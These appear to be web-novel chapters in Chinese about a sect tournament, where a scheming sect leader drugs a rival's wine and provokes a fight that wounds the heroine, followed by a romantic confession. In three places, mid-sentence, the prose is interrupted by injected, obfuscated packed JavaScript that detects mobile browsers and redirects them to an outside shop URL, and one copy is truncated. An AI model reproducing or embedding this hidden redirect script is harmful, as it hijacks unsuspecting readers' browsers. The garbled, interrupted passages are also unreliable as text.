“比试就比试,你一直戏耍我们大哥是什么意思?” 揽月瑶不想理会他们,默默翻了个白眼就要绕开他们。 “不许走,你得给我们大哥赔礼!” 台下的各位掌门看到围在一起的弟子,怕有什么动乱,派了戒律阁的弟子前去查看。 围观的众人都看到了,是玉清山的弟子先闹事,揽月瑶没做什么反应。 碍于所有弟子都还在,他们也不敢动手。 戒律阁的人带走了男人,以违反宗门大比的规则为由按律惩戒,季明月作为玉清山的掌门也不好多说什么,任由他们带走了男人。 玄天当着众人的面宣布,以此人为戒,剩余的弟子不可再破坏宗门大比的规矩。 再有违反规定的,当即取消宗门大比的资格和成绩。 揽月瑶头上梳着灵蛇髻,昂起头走过众人面前回到月灵宗弟子队伍。 路过闻絮时,闻絮轻轻看了她一眼,然后就收回了眼神。 “你说,如果我和你比试,谁更胜一筹?” 闻絮忽然问起一旁的明舟。 明舟看着闻絮的眼睛,觉得她的问话是认真的,也低着头认真思考起来。 “我觉得你更厉害,你的剑法是三掌门亲自教的,再加上寒光剑的威力,这次的魁首也说不定是你的。” 明舟的话很是真诚,但闻絮听了他的夸赞却没有很开心。 闻絮:“如果最后,我们两个可以比一场,我不用寒光剑,只用普通的剑和你打。” 明舟不解,“为什么不用寒光剑,那不是你一直以来的本命武器吗?” 闻絮没法解释,她难道要说寒光剑原本该是属于他的吗? “我就是不想用寒光,如果我们两个真的可以比一场,我希望你不要手下留情,拿出你真正的水准。” 明舟点头,“我会的,宗门大比的规矩我知道。” 闻絮兴致没了,“我先回去了,明天见。” 明舟也和闻絮道别,“明天见。” 揽月瑶比试结束,闲着无聊,看到了单独在一旁说话的二人,顿时起了兴趣。 这一男一女长得都不赖,第一轮的比试还都赢了,女人的脸上没什么表情,反而是男人更加热情主动一些。 她又盯着明舟的脸瞧了瞧,是她喜欢的类型。 于是她主动起身,走到明舟面前,伸出手,“你好,我叫揽月瑶,是月灵宗的弟子。” 明舟没有回握,执剑行了个揖礼,“道友好,我是天照宗掌门座下弟子,明舟。” “明舟,好,我记住你的名字了。你刚刚看到我的比试了吗?” 明舟有些腼腆,他才刚刚认识揽月瑶,对方有点过于热情了。 “略看了几眼,道友风姿令人感叹。” “那你成婚了吗?” 话题转变得有些快,明舟有点猝不及防。 “啊?你说什么?” 揽月瑶耐着性子又说了一遍,“你成婚了吗?” “还没有。” 揽月瑶满意地点头,看刚刚两人的反应她也猜出来了。 “那好办,你不要追求她了,做我的道侣怎么样?我长得好看,也配得上你。” 揽月瑶的话过于开放,明舟顿时瞪大了眼睛。 “道友不要再开玩笑了。” 揽月瑶挑了挑眉,“我没有开玩笑啊,我在同你商量呢。” 明舟无辜地摆了摆手,“明舟暂时没有这个想法,多谢姑娘厚爱。” “好吧。那位姑娘成婚了吗?” “没有。” 揽月瑶再次满意地点头,“那就好办了。” 明舟更加一头雾水,“道友你这又是什么意思?” “没什么意思,我比较喜欢你们两个,想让你们一起跟我回去。” 揽月瑶的话信息量过于巨大,明舟一时消化不完。 他原本以为对面是一个见色起意的女子,现在看来,怎么感觉是男女通吃? 两人对视的画面略有些诡异,揽月瑶的表情很是满意。 明舟的脸上就有点难以评价了,那种像是被雷劈了但又没完全劈死,刚刚庆幸自己活下来但又有一坨鸟屎落在自己脸上的感觉。 “我就不用了,我想闻絮应该也不会同意的。” “哦,她叫闻絮啊,我很喜欢她,谢谢你告诉我她的名字。” 揽月瑶只听自己想听到的东西,对于其他的话都是充耳不闻。 她扔下愣在原地的明舟,回到自己的队伍。 季明月看着揽月瑶脖子上挂着的月光石,心中有了别样的想法。 魂修,有意思。 第一天的宗门大比正式结束,通过了第一轮比试的弟子回各自的屋子休息,没通过的弟子可自行选择留下还是离开。 揽月瑶没有选择在自己的屋子休息,她向别人打听了一下,知道了闻絮住在青竹峰。 午饭过后就奔着青竹峰去了,没有一点犹豫。 只是还没见到闻絮,先看到了等在外面的季明月。 “你是来找闻絮的吗?”季明月率先发问。 听到季明月的声音,揽月瑶才给了她一个眼神。 “对,我找闻絮,你能帮我把她叫出来吗?” “她不在屋子里,她有事出去了。” 揽月瑶:“哦,好吧,那我下午再来。” “等等。”季明月叫住揽月瑶,“我是闻絮的师姐,你有什么事可以先和我说。” 揽月瑶上下打量了一下季明月,“不对吧,你不是玉清山的掌门吗?闻絮是天照宗的,怎么你又成了她的师姐?” 季明月摆出一个经典的假笑,“闻絮之前也是玉清山的,不信你问问其他人,她手中的寒光剑可是我们玉清山的宝贝呢!” 揽月瑶对于寒光剑略有耳闻,好像是这么一回事。 “那她为什么又离开玉清山呢?” “哎。”说到这里,季明月先叹了口气,“我这师妹拿到寒光剑以后,觉得师父能力不行,教不了她,自己选择离开了。前些日子师父去世,她都不肯回来看一眼。” “什么?” 揽月瑶气愤不已,没想到闻絮居然是这种人,空有一副好皮囊,如此背信弃义,不敬师长。 “看来这天照宗也不是什么好东西,这样的人都收下当弟子!” 经过季明月的挑唆,揽月瑶对于闻絮以及天照宗的印象都变得很坏。 揽月瑶对着青竹峰的方向啐了两口,表示自己要去去晦气。 她又想起明舟,对他也开始没由来的厌恶,喜欢闻絮的,又能是什么好人。 反倒是玉清山这位新一任的掌门,看着十分面善。 “你叫月瑶是吗?叫我明月就好,今天碰到也算是巧,不如去我那里坐坐怎么样?” 揽月瑶听到季明月的名字,她的名字也带有“月”字,看来两人还真是投缘。 “好啊,我刚来这里,还没有什么朋友呢。” 季明月听到揽月瑶的话,更加得意了,这样才好呢。 揽月瑶一下午的时间都呆在季明月的房间,季明月很是大方,把自己带来的一些宝物送给了揽月瑶。 揽月瑶对于季明月的印象就更好了,她又听季明月颠倒黑白地说了以前夜明珠的事情,又给闻絮安了一个小偷的名头。 晚饭时间,所有弟子都要一起在饭堂吃饭,以防止吃食上出现问题,所有食物都是由天照宗提供的。 季明月作为玉清山掌门,不用通过检查,她带了自己的一壶酒进来。 揽月瑶和季明月坐在一起,季明月顺势拿出自己的酒壶。 “天照宗夜间寒冷,一般人受不住,我带了一壶酒,我们喝一点多少可以暖暖身子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416413|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季明月先给自己倒了一杯,毫不犹豫地就喝了下去。 揽月瑶没有多想,接过季明月倒给自己的酒一饮而尽。 喝完还把空杯子朝向季明月,让她看自己干净的杯底。 二人一边说笑一边喝酒,饭没怎么吃,不知不觉酒已经喝了好几杯。 季明月打探好了,闻絮到了天照宗最为亲近的就是那个叫玉茵的弟子。 玉茵有事,闻絮基本都会帮忙。 下午她派了弟子跟着玉茵,玉茵因为第一轮轮空,要去负责记录成绩的弟子那里再去登记一次。 她让玉清山的一个面生的弟子找了天照宗的弟子,让他们给闻絮传话,说玉茵这边登记出了点问题,让她过去帮忙。 许多人都在饭堂,看着天照宗的弟子叫闻絮出去了。 季明月继续和揽月瑶喝着酒。 等到饭堂的人几乎都走完了,二人才将近喝完一壶。 季明月扶着揽月瑶回房间,但她去的不是自己的房间,而是闻絮的房间。 有了上次的教训,季明月很是谨慎,她先用灵力探测了闻絮屋内的布置和法器分布,确保没有留影石的存在。 她把揽月瑶放在了闻絮的床上,然后迅速弄乱了闻絮房内的布置,撕毁了一些书籍,把花瓶打碎,床幔也扯得不成样子。 布置好这一切,季明月把房间的门大开着,自己火速溜了出去。 闻絮被叫到玉茵身边,发现没有什么异常,以为是弟子传错了话,在等到玉茵以后,二人一起回了青竹峰。 两人的房间挨在一起,两人一打眼就能看到闻絮的房门大开着,屋内的灯火还亮着。 “闻絮,你刚刚出来没关门吗?” 闻絮表情有点疑惑,吃饭前自己出来的时候应该关上门了。 玉茵陪着闻絮一起进房间看,看到了屋内凌乱的布置。 还有一屋子的酒气和一个醉得不省人事的揽月瑶。 闻絮看到揽月瑶的脸,认出她就是上午那个魂修。 玉茵一看这场面,气得要爆炸了,她上前推着揽月瑶的身子,“喂,你干什么呢?这是你的房间吗你就睡,把别人的房间弄成这样算什么,你的家教呢?” 揽月瑶被寒风一吹,再加上玉茵的大嗓门,也逐渐清醒过来。 她还没看清自己在哪里,看到玉茵气势汹汹的样子,又看到一旁的闻絮,一看两人是一伙的,气不打一处来。 自己还没睡醒,就被眼前这个女人呵斥一通,自己还没受过这么大的气呢! 闻絮拉住玉茵,“师姐,你先走,去叫掌门吧,我留在这里。” 玉茵虽然有些不满,但乖乖听了闻絮的话,“好,我马上回来,你看住她。” 但揽月瑶此刻不让,“你要去做什么?刚刚的事情还没有解决呢,你说谁没有家教呢?” “就是说你啊,你看不到我师妹的房间被你弄成什么样子了吗?” 揽月瑶扶着一旁的凳子站起来,“你亲眼看见了吗?你就说是我做的,你哪只眼睛看见了?” 玉茵彻底气笑了,也顾不上去叫掌门了,“这还用看吗?这房间里就你一个人,不是你干的是谁干的?” 两人吵闹的声音逐渐变大,惊动了周围的弟子,其他弟子禀报了掌门。 有眼尖的弟子认出了揽月瑶,一并通报了月灵宗的掌门——揽情曼。 揽月瑶眼看吵不过玉茵,想要动手。 闻絮一把将玉茵护在身后,拿出寒光剑。 “你私闯我的房间,如今还要在我的房间和我的师姐动手吗?” “动手就动手,我怕你吗?” 说时迟那时快,揽月瑶凝起力量,她脖子间的月光石闪起亮光。 她的身体上方出现了一道黄色淡影,是比上午还粗壮的一条长鞭。 骤然落下,冲着闻絮和玉茵站立的方向抽去。 玉茵没带武器,只能闪开,一时不能还击。 “师姐,从那边出去,把门关上,我可以应付。” 玉茵趁着鞭子的空隙,弯下身子向门边走去。 揽月瑶又是一鞭子抽过去,“不许走!” 闻絮及时过去,寒光挡下那一鞭,玉茵成功出去了把门关上。 “应付我?你口气不小,你打得过我吗?” 魂魄化作的鞭子比不过剑,很快落了下风,闻絮不欲纠缠,想快速结束战局。 但揽月瑶忽的收了鞭子,那黄色光影重新化作了一把大砍刀。 这次揽月瑶认真了,她对着闻絮放出了自己的独家绝学,迷魂术。 24. 闻絮受伤 魂修修炼上层者,可以迷人心智。 她们魂魄的力量,会让人迷失在自己想看到的画面里。 然后趁她们神智迷惑之时,再快速变化场景,让人陷入极度痛苦之中,他们的精神受到极大折磨,从而精神恍惚,魂修再给予致命一击。 闻絮迎面对上那把大砍刀,揽月瑶的刀的力量远比不过闻絮。 但闻絮却发现自己的眼前忽然光芒刺眼,一阵模糊。 她竟然在自己的眼前看到了许久没见过的奶奶,那个温柔,善良的奶奶。 黄色火光中映出她小小的身影,就那么担忧地看着自己。 “孩子,醒醒。” 也是这样的一个雪夜,自己即将要冻死的时候,向自己伸出了一只手的奶奶。 闻絮被眼前的景象迷住,那砍刀却毫不留情,直直砍在闻絮的肩膀之上。 闻絮的的皮肉被划开,肩膀处的衣服被撕裂,一股股的血渗了出来。 骤然的疼痛让闻絮暂时从幻境清醒过来,寒光再次发力。 收不住的威力将揽月瑶弹出几米之外,她的身子重重装在架子床上,冷不丁吐出一口血。 闻絮一直收着自己的力气,这里是天照宗,她不想闹事,但揽月瑶却一再咄咄相逼。 揽月瑶趴在地上暂时没起来,闻絮摸了摸自己的伤口,不算很深,没什么问题。 她看到揽月瑶没了动静,走上前想拉她一把。 但没想到揽月瑶是在装晕,闻絮的脚刚刚靠近她的瞬间,她的眼睛如同饿了许久的狼,倏然睁开。 她的右手抬起,一把扯住闻絮的腿,二人一起躺在地上。 闻絮迅速反应过来,挣脱出来。 但二人离得很近,揽月瑶的幻境再次起了作用,这次比上次的幻境更加真实。 闻絮看到了雪地里瑟瑟发抖的自己,她的胳膊紧紧环住自己的双腿,还有眼前毫不留情开车离开的父亲。 闻絮摇摇头,想挣开这个幻境。 但下一秒,她看到了奶奶离世的画面。 奶奶躺在床上,闻絮半跪在奶奶的脚边,二人的手紧紧相握着。 她干枯发皱的手指伸出来摸了摸闻絮的头发,“我们絮絮的头发又长了。” 闻絮咬着嘴唇一时说不出话来,她不知道怎么面对亲人的离去。 她的眼睛一直眨着,不想让自己的眼泪掉下来。 她知道奶奶要走了,她不敢再错过一眼。 奶奶交代了闻絮一些小事,就再也说不出话来,只是浑浊的眼睛一直看着闻絮。 这是她在人世间最后的期盼。 闻絮的舌头顶着嗓子眼,手紧紧握着奶奶的手,只有奶奶手心的温热感觉传来,才能让她感到安心。 “奶奶,今天的饭我已经做好了,你想不想吃?” 床上的奶奶虚弱地点了点头,闻絮急忙起身出去盛了一碗粥。 闻絮拿着粥回来坐在床边,让奶奶的身体靠在自己的胸前。 她侧着身子拿起勺子,舀了一勺粥,慢慢吹了一口气,喂到奶奶嘴边。 奶奶喝了一勺就不想再喝,张嘴又想说着什么,闻絮低头凑在奶奶耳边。 “奶奶你要说什么?我在这里听着。” “孩子,不要哭,这么漂亮的眼睛,不要哭。” “我听你的,奶奶。” 说完最后一句话,奶奶的眼睛慢慢闭上,再也没有睁开。 闻絮把手里的粥放下,双手抱住了奶奶,她的心跳已经停止,只有身体还没散去的温热还在。 她拼命想留住这一份温热,不肯让自己的泪落下。 这一刻她比被父亲抛弃的时候更要绝望。 她想要放声大哭,又想起奶奶的嘱托,无声的泪一滴接着一滴落下,她极力忍着抽噎的声音,“奶奶,你还能听得到吗?我爱你。” 世界上给予我生命的两个人,一个已经离去,一个将我抛弃。 那个雪夜里给予了自己第二次生命的人,再次离自己而去了。 自己从未向上天索要过什么东西,但唯一拥有的,也再一次失去了。 极度的痛苦让闻絮无法承受,揽月瑶看到眼前的闻絮在痛苦地流泪。 眉眼蹙起,泪珠聚在眼里,最后溢出眼眶。 她虽然看起来很是痛苦,但是嘴唇死死咬着,她的嘴边已经有血了,但是依然没发出一丝声音。 揽月瑶不肯认输,发出最后一次攻击。 她神魂化作的砍刀一击劈向闻絮心口,这是致命的一击。 揽月瑶本身不是一个特别好战的人,但季明月在她的酒里下了一点药,导致她的情绪特别亢奋,失去理智,控制不住自己的行动。 等到她反应过来的时候,后悔已经来不及了。 金色的力量挥向闻絮心口,寒光被闻絮无意识地死死握在手里,无法动弹。 闻絮不加防备,整个身体大喇喇地暴露在揽月瑶面前。 金光到达闻絮心口的时候,碰到了一个硬挺的东西,是护心镜。 护心镜被闻絮贴身放在心口,替她挡了这一下。 护心镜从闻絮衣服中飞出,闻絮看到眼前的光亮,终于恢复意识,擦了擦眼角的泪水。 闻絮从痛苦中恢复,眼底杀气弥漫,她手中的剑再次被举起。 她想起景原的教导,透过武器,直接攻她本体。 寒光被举到闻絮头顶,闻絮用尽所有的力气,朝着揽月瑶挥去。 揽月瑶召出保护罩,但脆弱的金色光环被寒光冰蓝色的剑气一秒破开。 这一下若是劈在揽月瑶身上,她估计得昏迷了。 门外传来熙熙攘攘的人声,揽情曼飞身一步上前,替揽月瑶挡下这一击。 襄兰和景原一起赶到,景原大步一跨站在几人中间,襄兰把闻絮护在怀里,查看她肩膀的伤势。 揽情曼先出声责问,“三掌门,天照宗就是这样对待宗门大比的客人吗?” 景原扭头看了看闻絮肩膀的伤势,又看看揽月瑶嘴角的血迹。 明显就是闻絮吃了亏,这个女人还好意思质问他? “我说揽掌门,你说话的时候能不能讲点理?你门下的弟子闯到我的弟子的房间里,还在这里大打出手,毁我弟子房间,下手如此狠毒。” “我儿下手狠毒?你没看到闻絮刚刚的招式吗?那一下若不是我来了,不知我儿会伤成什么样呢!” 襄兰把闻絮交给玉茵,自己拿着护心镜上前,“揽掌门也看到了,这护心镜上刚刚出来的裂痕还清晰可见。我的弟子狠毒?那你护着的这位姑娘才更加狠毒吧,致命的招数也使得出来。” 揽月瑶看着护心镜的裂痕,有些后怕,自己怎么会如此收不住力道,自己只是想给闻絮一个教训来着。 她有点担心地看向闻絮,闻絮神情冰冷,不给她多余的眼神,唯独和一旁的玉茵,她会轻轻微笑着玉茵说自己没事。 两方纠缠不清,玄天刚刚忙完,也赶了过来。 鉴于双方都动了手,玄天也不好太过于偏袒闻絮,最后宣布二人在大比期间大打出手,严重违反规定,取消二人成绩和此次的比赛资格。 玄天还宣布,由于揽月瑶私闯闻絮的房间,另外加以三十鞭的刑罚作为惩戒。 景原明显不服,但是碍于外人在,不好当众对着玄天发作。 揽情曼护着揽月瑶走出房间,陪着她一起去领罚。 等到月灵宗的散去,屋子内只剩下天照宗的自己人。 景原终于按耐不住,“玄天,你怎么老帮着外人?你看看我的徒弟的房间都被打成什么样子了?” 玄天有些无奈,“景原,你先别急着生气,我知道这件事情你受委屈了,但是闻絮毕竟也还手了,最后那一下确实力道非凡。” 景原叉起腰,“还手怎么了?难道让她打死吗?下次叫她不要还手,我先打死她怎么样?” 景原一句接着一句,玄天暂时无话可讲。 闻絮适时站出来,拉了拉景原的袖子,对着他摇了摇头,“师父,别为难掌门了,我没什么大事,一点皮外伤而已。屋子坏了,我搬去隔壁和师姐一起住就好了。” 襄兰和玉茵把两个男人赶到屋外,拉开闻絮的衣服给她上药。 两个男人出去以后面面相觑,还是景原先跺了一下脚,气呼呼地背着身子离开了。 屋内已经一片凌乱,襄兰先拉开看了看闻絮的情况,还好,不是特别严重。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416414|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子,今晚你和师父回去吧,这里暂时不能住了。” 襄兰心疼闻絮,要带她一起回去,闻絮也好久没有回掌经殿了。 “好,多谢师父。” 闻絮看到玉茵担心的表情,拍了拍她的手表示自己没事。 襄兰看着有了裂缝的护心镜,有些可惜,但不想闻絮太伤心,“师父拿回去修一修,要是修不好再送你一块新的。” “师父不用再费心了,这块护心镜替我挡下了揽月瑶的攻击,我很感谢师父的礼物,这块护心镜就让我留作纪念吧。” 闻絮的神魂终究还是被揽月瑶所影响,晚上没有太多的言语。 襄兰看出闻絮肿胀的眼睛,知道她心中难受,没有多问。 每个人都有自己不可言说的过去,她留给了闻絮足够的时间自我消化。 闻絮一个人睡在房间里,想起晚上那个幻境,无声的泪滴继续落下。 她的身边现在有很多关心她的人,有师兄师姐,还有一直护着她的两位师父。 她再也不是孤身一人了。 闻絮的哭总是默默的,不发出一点声音的。 但越是沉默越是绝望,过去的时光里,她就是这样一个人流着泪慢慢长大了。 再然后,她哭的时候再也发不出声音了。 不论再绝望,再难受,她都只能安静地看着泪水滴下。 夜逐渐深了,外面的天空上飘着零星的几点光,闻絮收拾好自己的情绪,心口那阵难受的感觉消失了。 她看着自己手心的疤痕,那道剑伤已经和自己的掌纹融在一起了。 自己不能再继续参加宗门大比,就失去了和明舟比赛的资格,这是她没有意料到的。 原文中明舟宗门大比时会是第一名,这次依然会是他吗? 闻絮肩上的伤不重,她不想留在房间里养伤,于是被安排在几位掌门身边一起观看宗门大比。 同样的,还有昨晚刚刚受了三十鞭的揽月瑶,鞭数虽然不多,但是蘸了盐水的鞭子让她的伤口发炎,早上起来的时候她的面色比昨日惨白一些。 揽月瑶还是一袭红衣,除了脸色看不出来她受过刑罚,只是背上的衣料更深的部分是渗出来的血迹,提示着她昨夜的荒唐。 昨夜她领完鞭刑之后,季明月带着伤药去探望了她。 季明月一副非常关切和自责的样子,“月瑶,我扶你走到那座假山旁,我突然内急去解手,让你在原地等我。但没想到我回来之后你人就消失了。” 说着,季明月还紧紧拉住了揽月瑶的手,“都怪我,一直找你也没有找到,闻絮对我向来敌视,所以我没去她的房间找你。更怪我,不该带你一起喝酒的。” 季明月的话语恳切,字字句句都把错误揽在自己的身上。 揽月瑶看着她的表演,也安慰起来,“明月姐姐,不是你的错,是我自己喝多了,和你有什么关系呢?” 只是揽月瑶又忍不住多问了一句,“今天我用了震魂术,她哭了。” 季明月心中一紧,听着这话的架势,感觉不太对劲。 她盯着揽月瑶的眼睛,听着她接下来的话。 “我是不是做得太过分了,她的肩膀也被我砍伤了。” 季明月:“那是你喝多了,而且她也还手了,你也已经受过鞭刑了,不要再自责了。” 季明月走出房门的时候,眼神从刚刚的温柔似水变得有些阴狠。 闻絮好大的手段,只是打了一架就让这个蠢货开始反思自己了,她费了那么久的嘴皮子才说动揽月瑶,必须把这个人利用到底。 揽月瑶看着季明月的背影,陷入了深深的自我怀疑。 今日在和闻絮打斗的时候,她感觉得到闻絮没有使出全力,明显是不想伤害她。 而且自己今天很是不对劲,喝醉以后的画面完全想不起来,她根本不知道自己是怎么走到闻絮的房间的。 而且自己使用震魂术的时候,闻絮那种痛苦而又不舍的表情不是一般人可以演出来的。 什么样的画面既让她感觉痛苦而又不舍依恋呢? 揽月瑶想不明白,她第一次对季明月口中的闻絮产生了怀疑。 闻絮这个人,真的如同季明月口中说的那样吗? 25. 你也喜欢我,是吗 翻来覆去了一夜,揽月瑶陷入了深深的自责当中,她一夜未睡,手心布满了无数的指甲抓痕,她细长的指甲都快被自己劈烂了。 她坐在左边的席位,靠着揽情曼。 闻絮坐在右边,紧挨着景原。 她的心思不在今天的宗门大比,她看向闻絮的肩膀,闻絮的动作还算自然,没有感觉到很受阻碍,看来应该伤得不是很严重。 闻絮看到一半的时候起身了一趟,揽月瑶也跟着起身,追在闻絮身后。 刚刚晋级的玉茵下台,汗还没来得及擦,看到揽月瑶偷偷摸摸的动作,顿时怒从中来。 这个女人又想干什么? 玉茵小跑几步追上去,大声喊闻絮的名字,“闻絮,闻絮,你身后有人跟着你。” 玉茵一喊话,闻絮停住步子,揽月瑶也不走了,玉茵抓紧跑了几步跟到闻絮身边,眼神里充满戒备。 “你要干什么?还想再打吗,真把我们天照宗当成你们月灵宗老家了吗?” 揽月瑶低着头,承受着玉茵的怒火。 最后,她小声地说了一句对不起,在地上放了一瓶药之后跑走了。 玉茵看到揽月瑶的动作傻眼了,掐了掐自己的胳膊,“闻絮,我没听错吧,她和你道歉了,还放了一瓶药?” 玉茵又踮起脚摸了摸闻絮的额头,她又靠近用自己的额头碰了碰闻絮的额头,两人的体温都正常。 “没问题啊,太阳从西边出来了吗?她怎么突然这样了?” 闻絮没想明白揽月瑶的态度为什么转变得这么快。 玉茵想了半天,得出了五个字,“她脑子有病。” 除了这个解释,她想不出更好的答案了。 玉茵问闻絮怎么处理地上那瓶药,闻絮摇了摇头,“不要拿了,昨天我和她闹出的动静已经够大了,不能再给天照宗添麻烦了。” 二人最后没有拿走那瓶药,就让它孤零零的留在了地上。 等到闻絮和玉茵走远后,从远处折返的揽月瑶蹲在地上,叹了口气,又拿回了药瓶。 自己这次,好像真的做错了事情了。 闻絮一句话都不肯和自己说,哪怕她骂自己也好,可偏偏她一个眼神都没有多给自己。 宗门大比还有几天,她还是会留在天照宗,再找机会和闻絮解释吧。 闻絮起身是要去找明舟,明舟今天已经顺利晋级,闻絮来得有些迟,没看到明舟的比赛。 玄天封锁了闻絮和揽月瑶大打出手的消息,连明舟都没有告诉。 他知道明舟和闻絮关系好,怕影响到明舟第二日的比赛。 闻絮找到明舟的时候,明舟刚刚沐浴出来,比试完出了一身的汗。 他看到门外的人是闻絮后,很是惊喜,眼睛都亮起来了,他的脸上是少年人特有的害羞和欣喜。 “闻絮,你怎么来了?” 除了练剑之外,闻絮很少主动来找自己。 闻絮咳嗽了一声,移开了自己的视线。 “我有事和你说,你还是先把衣服穿好吧。” 明舟刚刚开门的时候动作幅度比较大,没有注意到,自己锁骨到前胸的衣领大开着。 他的脸瞬间爆红,整个人像熟透了一般,他整理好衣领,又在床上随便拿了件外袍披在身上。 “我整理好了,进来吧。” 闻絮简单和明舟说了昨晚的经过,并且告诉他两人不能再比试了。 “比试不要紧,你的伤怎么样了?重不重?” “我没事,不用担心我,师父已经上过药了。” 闻絮说完自己的事情,就和明舟告别。 明舟想要留闻絮多坐一坐,但没有理由挽留。 闻絮对于他的态度,说好也好,说不好也不好。 闻絮答应了他的请求,每日雷打不动和他一起练剑,但是除了练剑之外,没有再多余的回应。 他感觉自己像一团熊熊燃烧的火焰,而闻絮像一座矗立千年的冰山。 冰山一直高高地俯视着自己,就算自己的火焰烧得再剧烈,在极冷的冰川面前也是微不足道的,即使有所融化,但也是九牛一毛。 “闻絮,在你心里,我是什么样的人?” 明舟心潮澎湃,看着闻絮的背影,问出了自己心中的疑惑。 闻絮听到这个问题一点也不惊讶,二人之间的氛围有些奇怪,早点问出来也好。 “你很好,为人很热情,待人也很真诚,做事也很细心,起码在我这里很好。” 明舟的落入谷底的心又活起来,“那你可不可以试着喜欢我一点?” 闻絮:“或许你听过一种法术吗?被控制的人会控制不了自己的情感,无法对自己的情感做出正确的判断。” 她想暗示明舟,或许他是被剧情控制了,他的情感也许不是真的。 明舟还在思考闻絮的话,闻絮却又摆了摆手,“算了,你就当没听到我刚刚的话。” 明舟:“不,我听到了,既然你说出来了,那我就应该听到。你的心里是不是有什么顾虑,让你不敢接受我的感情?” 闻絮沉思片刻,还是点了点头。 自己已经改变了剧情,寒光现在是自己的,她也没有在宗门大比前死掉。 手心的掌纹已经被她改变,她想多相信自己一点。 她想告诉自己,这一切都和原文的剧情无关了,这里的人不再是纸片人,都是一个个活生生有着自己感情和思想的人。 昨天揽月瑶的法术让她的背心受到了极大的波动,她的内心对于自己的情感开始重新审视。 对于景原和襄兰的感激,尊重。 对于玉茵的亲近,依赖。 对于明舟,这种感觉她数不清道不明,像一团四处打结的毛线球,找不到头。 她试图理清脑中的一团乱麻,但是脑中逐渐浮现出明舟的笑脸。 二人练剑时都累到极致,他躺在地上舒展的笑颜。 还有他每次悄悄带给自己的吃食,放在自己手里的时候都是带着热气的,他那种腼腆的少年意气风发的笑意,还带着一丝傻气。 他听到自己伤势时关切的表情,他修炼遇到瓶颈时皱着的眉头,全都浮现在她的脑海中。 闻絮自诩是一个忍耐力极强的人,即使昨晚受了极大的波动,今天来找明舟的时候,依然没有说出口。 她想,如果不是明舟今天问出口,她大概一辈子都不会说出来了。 但此时此刻,就明舟问出这个问题的这一秒,她不想再忍着自己的感觉,不想让自己的理智占据自己的大脑,她想让自己的情感尽情地放肆一回。 所以她对于明舟的问题点头了。 明舟看到闻絮点头的动作,如释重负地笑出来。 千年不变的冰山也许一生都不会融化,但是真心和真心的触碰,足以达到毫厘间的移动,那就够了。 他过于激动,自己的手脚都不知道往哪里放,他只能傻傻地站在闻絮面前,“真的吗?你内心也是喜欢我的吗?” 闻絮再次点了点头,这次她的脸上露出了一个温柔的笑容。 这是不加掩饰的,自然流露的笑容。 明舟想要抱一下闻絮,但又想到闻絮的肩伤,一时间动作停在原地。 闻絮看着他红扑扑的脸颊,主动向前走了一步,靠在明舟怀里。 她的脸也和身子一样,微微冒着冷气,靠在明舟的衣襟上,明舟身体的热气隔着衣服传到她的身体。 闻絮想起从前看到的一句话,“幸福,幸福,请慢慢向我靠近,如果不能靠近,纵有千山万水,我愿意走向你。” 宗门大比的第四天,将要决出这次比赛的前八名。 揽月瑶很坚持,每天都最早一个来看比赛。 她坐在自己的位置上一直四处观望着,前两天她都没有机会和闻絮说话,也不知道闻絮今天来不来。 正面堵不到闻絮,玉茵基本一直在闻絮身边。 所以这次,揽月瑶特地挑了玉茵上去比赛的时候,在闻絮身边放了一个小纸团就走了。 闻絮看到脚边被丢下的纸团,捡起来看了看,上面清秀地写着几个小字,“我有事找你,不是打架。” 闻絮看完这张纸条,又看了看台子上正在比试的玉茵,她的对手不是很强,应该没什么问题。 揽月瑶三番四次地来堵自己,要找个时间解决这个问题。 于是闻絮站起身,理了理衣服,跟着揽月瑶走出去的方向跟过去。 揽月瑶听到身后的脚步心中一喜,她终于肯理自己了。 二人走到了一个僻静的地方,闻絮跟在她身后差不多五米的距离,不肯再靠近。 “这里没有人了,有什么事情你就赶紧说吧。” 揽月瑶看着二人之间如同天堑般的距离,略有些失望,但她也不能错过这个机会。 “我想跟你解释之前的事情,之前是我不对,不小心破坏了你的房间,还打伤了你,我不是成心那样做的,我喝醉了都记不得了。醒来后听到那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她原本的目的就是想借揽月瑶的手伤了闻絮,让闻絮退出宗门大比,同时让揽月瑶失去比赛资格,以报那天她戏耍自己弟子的仇。 她还想着她的挑拨可以让月灵宗和天照宗之间产生隔阂,让闻絮多一个敌人。 现在看来情况不妙,大概这个揽月瑶精神不正常,要是揽情曼去救了她,她估计要被闻絮最后一剑打得半死不活了吧。 她现在的情况是个什么鬼,怎么对闻絮好感度直线上升了? 季明月脑子里有了一个诡异的猜测,揽月瑶不会是受虐体质吧? 她看向揽月瑶的眼神带了满满的嫌弃,但很快又变成了往日的温柔。 不行,她必须再最后利用揽月瑶一把,不然她将来很有可能站在闻絮这边。 